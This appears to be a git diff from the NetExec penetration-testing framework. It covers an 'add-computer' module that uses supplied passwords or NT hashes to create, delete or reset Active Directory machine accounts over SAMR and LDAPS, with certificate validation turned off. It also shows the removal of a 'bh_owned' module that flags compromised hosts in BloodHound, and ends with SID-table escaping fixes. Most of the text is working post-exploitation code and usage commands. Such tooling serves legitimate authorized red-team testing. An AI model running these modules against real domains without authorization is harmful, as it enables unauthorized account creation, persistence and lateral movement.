self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
# First try to add via SAMR over SMB
|
||||
self.do_samr_add(context)
|
||||
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
Connects to a target server and performs various operations related to adding or deleting machine accounts.
|
||||
|
||||
Args:
|
||||
----
|
||||
context (object): The context object.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
domains = samr_enum_response["Buffer"]["Buffer"]
|
||||
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
|
||||
if len(domains_without_builtin) > 1:
|
||||
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
|
||||
context.log.highlight("Available domain(s):")
|
||||
for domain in domains:
|
||||
context.log.highlight(f" * {domain['Name']}")
|
||||
raise Exception
|
||||
else:
|
||||
selected_domain = domain[0]["Name"]
|
||||
else:
|
||||
selected_domain = domains_without_builtin[0]["Name"]
|
||||
|
||||
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
|
||||
domain_sid = samr_lookup_domain_response["DomainId"]
|
||||
|
||||
context.log.debug(f"Opening domain {selected_domain}...")
|
||||
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
|
||||
domain_handle = samr_open_domain_response["DomainHandle"]
|
||||
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
if self.__delete:
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
else:
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
else:
|
||||
if self.__computerName is not None:
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
else:
|
||||
found_unused = False
|
||||
while not found_unused:
|
||||
self.__computerName = self.generateComputerName()
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
found_unused = True
|
||||
else:
|
||||
raise
|
||||
try:
|
||||
create_user = samr.hSamrCreateUser2InDomain(
|
||||
dce,
|
||||
domain_handle,
|
||||
self.__computerName,
|
||||
samr.USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
samr.USER_FORCE_PASSWORD_CHANGE,
|
||||
)
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
|
||||
elif e.error_code == 0xC00002E7:
|
||||
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
|
||||
context.log.exception(e)
|
||||
user_handle = create_user["UserHandle"]
|
||||
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
self.noLDAPRequired = True
|
||||
user_handle = None
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, user_handle, req)
|
||||
if not self.noLDAPRequired:
|
||||
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
|
||||
if user_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if serv_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
dce.disconnect()
|
||||
|
||||
def do_ldaps_add(self, connection, context):
|
||||
"""
|
||||
Performs an LDAPS add operation.
|
||||
|
||||
Args:
|
||||
----
|
||||
connection (Connection): The LDAP connection object.
|
||||
context (Context): The context object.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Raises:
|
||||
------
|
||||
None
|
||||
"""
|
||||
ldap_domain = connection.domain.replace(".", ",dc=")
|
||||
spns = [
|
||||
f"HOST/{self.__computerName}",
|
||||
f"HOST/{self.__computerName}.{connection.domain}",
|
||||
f"RestrictedKrbHost/{self.__computerName}",
|
||||
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
|
||||
]
|
||||
ucd = {
|
||||
"dnsHostName": f"{self.__computerName}.{connection.domain}",
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": self.__computerName,
|
||||
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
|
||||
}
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
|
||||
c.bind()
|
||||
|
||||
if self.__delete:
|
||||
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
|
||||
if result:
|
||||
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
|
||||
elif result is False and c.last_error == "noSuchObject":
|
||||
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
|
||||
elif result is False and c.last_error == "insufficientAccessRights":
|
||||
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
|
||||
else:
|
||||
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
|
||||
else:
|
||||
result = c.add(
|
||||
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
|
||||
["top", "person", "organizationalPerson", "user", "computer"],
|
||||
ucd
|
||||
)
|
||||
if result:
|
||||
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
|
||||
context.log.highlight("You can try to verify this with the nxc command:")
|
||||
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
elif result is False and c.last_error == "entryAlreadyExists":
|
||||
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
|
||||
elif not result:
|
||||
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
@@ -1,307 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import ldap3
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
Thanks to the guys at impacket for the original code
|
||||
'''
|
||||
|
||||
name = 'add-computer'
|
||||
description = 'Adds or deletes a domain computer'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
add-computer: Specify add-computer to call the module using smb
|
||||
NAME: Specify the NAME option to name the Computer to be added
|
||||
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
|
||||
DELETE: Specify DELETE to remove a Computer
|
||||
CHANGEPW: Specify CHANGEPW to modify a Computer password
|
||||
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
'''
|
||||
|
||||
self.__baseDN = None
|
||||
self.__computerGroup = None
|
||||
self.__method = "SAMR"
|
||||
self.__noAdd = False
|
||||
self.__delete = False
|
||||
self.noLDAPRequired = False
|
||||
|
||||
if 'DELETE' in module_options:
|
||||
self.__delete = True
|
||||
|
||||
if 'CHANGEPW' in module_options and ('NAME' not in module_options or 'PASSWORD' not in module_options):
|
||||
context.log.error('NAME and PASSWORD options are required!')
|
||||
elif 'CHANGEPW' in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
if 'NAME' in module_options:
|
||||
self.__computerName = module_options['NAME']
|
||||
if self.__computerName[-1] != '$':
|
||||
self.__computerName += '$'
|
||||
else:
|
||||
context.log.error('NAME option is required!')
|
||||
exit(1)
|
||||
|
||||
if 'PASSWORD' in module_options:
|
||||
self.__computerPassword = module_options['PASSWORD']
|
||||
elif 'PASSWORD' not in module_options and not self.__delete:
|
||||
context.log.error('PASSWORD option is required!')
|
||||
exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
#Set some variables
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.hostname + "." + connection.domain
|
||||
self.__target = self.__kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__targetIp = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
# First try to add via SAMR over SMB
|
||||
self.doSAMRAdd(context)
|
||||
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.doLDAPSAdd(connection,context)
|
||||
else:
|
||||
exit(1)
|
||||
|
||||
def doSAMRAdd(self,context):
|
||||
|
||||
if self.__targetIp is not None:
|
||||
stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
|
||||
else:
|
||||
stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
|
||||
if self.__targetIp is not None:
|
||||
rpctransport.setRemoteHost(self.__targetIp)
|
||||
rpctransport.setRemoteName(self.__target)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
servHandle = None
|
||||
domainHandle = None
|
||||
userHandle = None
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
|
||||
samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
|
||||
servHandle = samrConnectResponse['ServerHandle']
|
||||
|
||||
samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
|
||||
domains = samrEnumResponse['Buffer']['Buffer']
|
||||
domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
|
||||
|
||||
if len(domainsWithoutBuiltin) > 1:
|
||||
domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'This domain does not exist: "' + self.__domainNetbios + '"'))
|
||||
logging.critical("Available domain(s):")
|
||||
for domain in domains:
|
||||
logging.error(" * %s" % domain['Name'])
|
||||
raise Exception()
|
||||
else:
|
||||
selectedDomain = domain[0]['Name']
|
||||
else:
|
||||
selectedDomain = domainsWithoutBuiltin[0]['Name']
|
||||
|
||||
samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
|
||||
domainSID = samrLookupDomainResponse['DomainId']
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.info("Opening domain %s..." % selectedDomain)
|
||||
samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
|
||||
domainHandle = samrOpenDomainResponse['DomainHandle']
|
||||
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xc0000073:
|
||||
context.log.highlight(u'{}'.format(
|
||||
self.__computerName + ' not found in domain ' + selectedDomain))
|
||||
self.noLDAPRequired = True
|
||||
raise Exception()
|
||||
else:
|
||||
raise
|
||||
|
||||
userRID = checkForUser['RelativeIds']['Element'][0]
|
||||
if self.__delete:
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
else:
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
|
||||
userHandle = openUser['UserHandle']
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xc0000022:
|
||||
context.log.highlight(u'{}'.format(
|
||||
self.__username + ' does not have the right to ' + message + " " + self.__computerName))
|
||||
self.noLDAPRequired = True
|
||||
raise Exception()
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
if self.__computerName is not None:
|
||||
try:
|
||||
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
raise Exception()
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xc0000073:
|
||||
raise
|
||||
else:
|
||||
foundUnused = False
|
||||
while not foundUnused:
|
||||
self.__computerName = self.generateComputerName()
|
||||
try:
|
||||
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xc0000073:
|
||||
foundUnused = True
|
||||
else:
|
||||
raise
|
||||
try:
|
||||
createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xc0000022:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'The following user does not have the right to create a computer account: "' + self.__username + '"'))
|
||||
raise Exception()
|
||||
elif e.error_code == 0xc00002e7:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'The following user exceeded their machine account quota: "' + self.__username + '"'))
|
||||
raise Exception()
|
||||
else:
|
||||
raise
|
||||
userHandle = createUser['UserHandle']
|
||||
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, userHandle)
|
||||
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
self.noLDAPRequired=True
|
||||
userHandle = None
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired=True
|
||||
else:
|
||||
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
|
||||
userRID = checkForUser['RelativeIds']['Element'][0]
|
||||
openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
|
||||
userHandle = openUser['UserHandle']
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, userHandle, req)
|
||||
if not self.noLDAPRequired:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
finally:
|
||||
if userHandle is not None:
|
||||
samr.hSamrCloseHandle(dce, userHandle)
|
||||
if domainHandle is not None:
|
||||
samr.hSamrCloseHandle(dce, domainHandle)
|
||||
if servHandle is not None:
|
||||
samr.hSamrCloseHandle(dce, servHandle)
|
||||
dce.disconnect()
|
||||
|
||||
def doLDAPSAdd(self, connection, context):
|
||||
ldap_domain = connection.domain.replace(".", ",dc=")
|
||||
spns = [
|
||||
'HOST/%s' % self.__computerName,
|
||||
'HOST/%s.%s' % (self.__computerName, connection.domain),
|
||||
'RestrictedKrbHost/%s' % self.__computerName,
|
||||
'RestrictedKrbHost/%s.%s' % (self.__computerName, connection.domain),
|
||||
]
|
||||
ucd = {
|
||||
'dnsHostName': '%s.%s' % (self.__computerName, connection.domain),
|
||||
'userAccountControl': 0x1000,
|
||||
'servicePrincipalName': spns,
|
||||
'sAMAccountName': self.__computerName,
|
||||
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
|
||||
}
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0')
|
||||
ldapServer = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = Connection(ldapServer, connection.username + '@' + connection.domain, connection.password)
|
||||
c.bind()
|
||||
|
||||
if (self.__delete):
|
||||
result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain)
|
||||
if result:
|
||||
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
elif result == False and c.last_error == "noSuchObject":
|
||||
context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found'))
|
||||
elif result == False and c.last_error == "insufficientAccessRights":
|
||||
context.log.highlight(
|
||||
u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"'))
|
||||
else:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Unable to delete the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
|
||||
else:
|
||||
result = c.add("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain,
|
||||
['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
|
||||
if result:
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
context.log.highlight(u'{}'.format('You can try to verify this with the nxc command:'))
|
||||
context.log.highlight(u'{}'.format(
|
||||
'nxc ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"'))
|
||||
elif result == False and c.last_error == "entryAlreadyExists":
|
||||
context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists'))
|
||||
elif not result:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Unable to add the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
|
||||
c.unbind()
|
||||
@@ -1,87 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Author:
|
||||
# Romain Bentz (pixis - @hackanddo)
|
||||
# Website:
|
||||
# https://beta.hackndo.com [FR]
|
||||
# https://en.hackndo.com [EN]
|
||||
|
||||
import sys
|
||||
from neo4j import GraphDatabase
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bh_owned"
|
||||
description = "Set pwned computer as owned in Bloodhound"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.neo4j_pass = None
|
||||
self.neo4j_user = None
|
||||
self.neo4j_Port = None
|
||||
self.neo4j_URI = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
URI URI for Neo4j database (default: 127.0.0.1)
|
||||
PORT Listening port for Neo4j database (default: 7687)
|
||||
USER Username for Neo4j database (default: 'neo4j')
|
||||
PASS Password for Neo4j database (default: 'neo4j')
|
||||
"""
|
||||
|
||||
self.neo4j_URI = "127.0.0.1"
|
||||
self.neo4j_Port = "7687"
|
||||
self.neo4j_user = "neo4j"
|
||||
self.neo4j_pass = "neo4j"
|
||||
|
||||
if module_options and "URI" in module_options:
|
||||
self.neo4j_URI = module_options["URI"]
|
||||
if module_options and "PORT" in module_options:
|
||||
self.neo4j_Port = module_options["PORT"]
|
||||
if module_options and "USER" in module_options:
|
||||
self.neo4j_user = module_options["USER"]
|
||||
if module_options and "PASS" in module_options:
|
||||
self.neo4j_pass = module_options["PASS"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.local_auth:
|
||||
domain = connection.conn.getServerDNSDomainName()
|
||||
else:
|
||||
domain = connection.domain
|
||||
|
||||
host_fqdn = f"{connection.hostname}.{domain}".upper()
|
||||
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
|
||||
context.log.debug(f"Neo4j URI: {uri}")
|
||||
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
|
||||
|
||||
try:
|
||||
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
|
||||
except AuthError:
|
||||
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
|
||||
sys.exit()
|
||||
except ServiceUnavailable:
|
||||
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
|
||||
sys.exit()
|
||||
except Exception as e:
|
||||
context.log.fail("Unexpected error with Neo4J")
|
||||
context.log.debug(f"Error {e}: ")
|
||||
sys.exit()
|
||||
|
||||
with driver.session() as session:
|
||||
with session.begin_transaction() as tx:
|
||||
result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
|
||||
record = result.single()
|
||||
try:
|
||||
value = record.value()
|
||||
except AttributeError:
|
||||
value = []
|
||||
if len(value) > 0:
|
||||
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
|
||||
else:
|
||||
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
|
||||
driver.close()
|
||||
+114
-151
@@ -10,6 +10,7 @@ from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
||||
from ldap3.protocol.formatters.formatters import format_sid
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
import sys
|
||||
|
||||
OBJECT_TYPES_GUID = {}
|
||||
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
|
||||
@@ -64,7 +65,7 @@ WELL_KNOWN_SIDS = {
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
@@ -73,24 +74,24 @@ WELL_KNOWN_SIDS = {
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\Remote Management Users",
|
||||
